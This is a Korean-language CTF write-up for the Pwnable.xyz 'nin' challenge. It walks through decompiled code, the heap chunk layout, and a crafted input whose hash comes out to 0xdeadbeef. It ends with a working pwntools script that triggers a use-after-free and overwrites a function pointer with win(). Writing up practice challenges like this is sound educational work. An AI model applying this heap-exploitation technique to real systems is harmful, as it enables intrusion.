tmxklab
[Pwnable.xyz] nin 본문
1. 문제
nc svc.pwnable.xyz 30034
1) mitigation 확인
2) 문제 확인
3) 코드흐름 파악
3-1) main() -> do_chat()
void __noreturn do_chat()
{
__int64 v0; // [rsp+0h] [rbp-120h]
char *ptr; // [rsp+8h] [rbp-118h]
char s; // [rsp+10h] [rbp-110h]
unsigned __int64 v3; // [rsp+118h] [rbp-8h]
v3 = __readfsqword(0x28u);
v0 = 0LL;
while ( 1 )
{
memset(&s, 0, 0xFFuLL);
printf("@you> ");
read(0, &s, 0xFFuLL);
ptr = strdup(&s);
if ( !v0 )
v0 = invite_reznor();
(v0[1])(v0, &s);
free(ptr);
}
}
- read(0, s, 0xff)
- ptr = s (s문자열을 복사하여(이 때, strdup()에서 malloc함) 포인터를 반환)
- if(!v0) 참이면 v0 = invite_rezonor()
- (v0[1])(v0, &s)== v0→answer_me(v0, &s)
- free(ptr)
3-2) invite_reznor()
_QWORD *invite_reznor()
{
_QWORD *v1; // [rsp+8h] [rbp-8h]
v1 = malloc(0x20uLL);
*v1 = strdup("@trent");
v1[1] = answer_me;
puts("@trent has entered #ota_chat");
return v1;
}
- v1 = malloc(0x20)
- v1[0] ="@trent" // v1[1] = answer_me()
3-3) answer_me()
unsigned __int64 __fastcall answer_me(void **a1, const char *a2)
{
size_t nbytes; // [rsp+1Ch] [rbp-24h]
__int64 v4; // [rsp+28h] [rbp-18h]
char *v5; // [rsp+30h] [rbp-10h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
if ( !strcmp(a2, "/gift\n")
&& (LODWORD(nbytes) = 0,
puts("Oh you wanna bribe him?"),
printf("Ok, how expensive will your gift be: "),
__isoc99_scanf("%ud", &nbytes),
nbytes) )
{
*(&nbytes + 4) = malloc((nbytes + 1));
memset(*(&nbytes + 4), 0, (nbytes + 1));
printf("Enter your gift: ");
read(0, *(&nbytes + 4), nbytes);
v4 = hash_gift(*(&nbytes + 4), nbytes);
printf("Trent doesn't look impressed and swallows %p\n", v4);
if ( v4 == 0xDEADBEEFLL )
{
puts("The color of his head turns blue...");
puts("Trent Reznor flips the table and raqequits...");
puts("@trent has left #ota_chat (Client disconnected...)");
free(*a1);
free(a1);
}
else
{
printf("Didn't seem to be tasty...\n", v4);
}
}
else
{
v5 = (&answers)[rand() % 10];
printf("@trent> %s\n", v5);
}
return __readfsqword(0x28u) ^ v6;
}
- 첫 번째 if문에서 a2가 "/gift\n"과 동일하고 scanf()를 통해서 nbytes에 값을 입력받으면 if문안의 로직이 실행된다.
- *(nbytes + 4) = malloc(nbytes + 1)
- *read(0, (&nbytes + 4), nbytes)
- *if ( (v4 = hash_gift((&nbytes + 4), bytes)) == 0xDEADBEEF)가 참이면 free(a1), free(a1)을 수행
3-4) hash_gift()
__int64 __fastcall hash_gift(__int64 a1, int a2)
{
int i; // [rsp+14h] [rbp-18h]
int j; // [rsp+18h] [rbp-14h]
__int64 v5; // [rsp+1Ch] [rbp-10h]
__int64 v6; // [rsp+24h] [rbp-8h]
v5 = 0LL;
v6 = 0LL;
for ( i = 0; i < a2 / 2; ++i )
v5 += *(i + a1);
for ( j = a2 / 2; j < a2; ++j )
v6 += *(j + a1);
return v6 | (v5 << 16);
}
- v5 = s[0] ~ s[len/2]를 전부 더함
- v6 = s[len/2] ~ s[len]를 전부 더함
- v5를 16bit shift연산하고 (왼쪽으로) v6와 or연산함
ex) "AAAA"
v5 = 0x41 + 0x41, v6 = 0x41 + 0x41 → v5 = 0x82, v6 = 0x82
v5 = 0x82(1000 0010) → shift연산후 → v5 = 0x82000(1000 0010 0000 0000 0000)
v6 or v5 연산 후 → 0x82082
2. 접근방법
일단, do_chat()에서 "(v0[1])(v0, &s)"을 실행시키는 부분을 확인하기 전에 청크의 구조부터 살펴보자
1) 청크 구조 확인
- 0x603030 (size : 0x30, static) → answer_info
- answer_info[0] = 0x603060(size : 0x20, static) → "@trent"
- answer_info[1] = 0x400d58(answer_me())
- ptr[rbp-0x118] =0x603010 (size : 0x20, static) → "AAAA\n"
- strdup()를 통해 생성된 청크
- 이후에 (v0[1])(v0, &s)부분의 호출하는데 방금 생성한 answer_info[1]에 담겨진 answer_me함수를 호출한다.
- 파라미터는 answer_info[0]에 저장된 "@trent"와 입력 값 "/gift\n"
2) answer_info→answer_me() 실행 이후
- answer_me함수의 로직에 따라 malloc을 한 번 더 실행하여 청크를 새로 생성한다. → answer_info[0]에 "/gift\n"가 들어가야 수행됨
- (nbytes+4) =0x603070 (size : 0x20, dynamic) → "BBBB\n"
- 해당 청크를 제외한 나머지는 할당 크기가 고정되어 있다.
v4 = hash_gift(*(&nbytes + 4), nbytes);
printf("Trent doesn't look impressed and swallows %p\n", v4);
if ( v4 == 0xDEADBEEFLL )
{
puts("The color of his head turns blue...");
puts("Trent Reznor flips the table and raqequits...");
puts("@trent has left #ota_chat (Client disconnected...)");
free(*a1);
free(a1);
}
else
{
printf("Didn't seem to be tasty...\n", v4);
}
- 이후에 hash_gift함수를 호출하여 v4의 값이 0xDEADBEEF와 동일하면 free(*a1)과 free(a1)을 진행한다.
- a1은 answer_me함수의 파라미터인 answer_info청크의 주소
만약에, hash_gift함수를 거쳐 v4의 값이 0xDEADBEEF와 동일하여 free하게 된다면
- answer_info청크의 주소와 strdup로 인해 생긴 0x603050주소의 청크가 fastbin에 들어가게 된다.
- fastbin은 single linked list구조로 fd만 존재하고 bk는 존재하지 않는다.
- free된 answer_info청크(0x603020)를 잘 보면 answer_info[1]에 answer_me함수의 주소 값이 존재하는 것을 확인할 수 있다.
여기까지면 분석은 끝났다.
목표는 do_chat()에서 answer_info청크에 존재하는 answer_me함수를 호출하는 대신에 win함수를 호출해야 한다.
win함수로 교체하기 위해서 uaf를 이용하여 free된 answer_info청크를 answer_me함수에서 동적으로 할당받는 (nbytes+4)에서 재할당하면 된다.
(answer_info청크의 사이즈는 0x30)
3) hash_gift()
문제는 이제 hash_gift()의 파라미터로 들어가는 값을 잘 조절하여 0xdeadbeef로 만들어야 한다. 근데 아까 위에서 hash_gift()함수 동작원리를 알았으니 어떻게 조합할지 생각해보자!
일단 문자열의 반을 나누고 각 문자의 헥사 값을 더한 다음에 shift연산 + or연산을 한다. 그럼 0xdeadbeef를 먼저 반으로 나눠 보자
0xdead = 0xff * 0xdf(223) +0x8c(1) → 문자 개수 : 223 + 1 = 224
0xbeef = 0xdf * 0xdb(219) + 0xa*4(4) + 0x2(1) → 문자 개수 : 219 + 4 + 1 = 224
-> 정확히 짝수로 만들어서 반으로 만들 수 있당.
공격 프로세스)
- answer_info청크를 생성한다. 이 때, answer_info[0]에는 "/gift\n"문자열을 넣는다.
- answer_info→answer_me를 호출할 때 아까 위에서 했던 것처럼 0xdeadbeef와 동일하게 만들어서 answer_info청크를 free한다.
- 다시 answer_info청크를 생성하는데 이때, free된 answer_info청크를 재할당할 수 있게 size를 0x20만큼 주고 answer_info[1]에 위치한 answer_me함수 대신에 win함수를 넣는다.
3. 풀이
1) 익스코드
from pwn import *
#context.log_level = "debug"
#p = process("./challenge")
e = ELF("./challenge")
p = remote("svc.pwnable.xyz", 30034)
#gdb.attach(p)
dead = '\xff'*0xdf + '\x8c'
beef = '\xdf'*0xdb + '\x0a'*4 + '\x02'
deadbeef = dead + beef
win_addr = e.symbols['win']
log.info("dead length : "+str(len(dead)))
log.info("beef length : "+str(len(beef)))
log.info("deadbeef length : "+str(len(deadbeef)))
# 1. free
p.sendlineafter("you> ", "/gift")
p.sendlineafter("be: ", str(len(deadbeef)))
p.sendafter("gift: ", deadbeef)
# 2. uaf & v0[1] -> win
p.sendlineafter("you> ", "/gift")
p.sendlineafter("be: ", str(0x20))
p.sendafter("gift: ", "A"*8 + p64(win_addr))
p.sendlineafter("you> ", "/gift")
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] words (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] notebook (0) | 2020.09.09 |
[Pwnable.xyz] Dirty Turtle (0) | 2020.09.09 |
[Pwnable.xyz] Hero Factory (0) | 2020.09.09 |
[Pwnable.xyz] note v2 (0) | 2020.09.09 |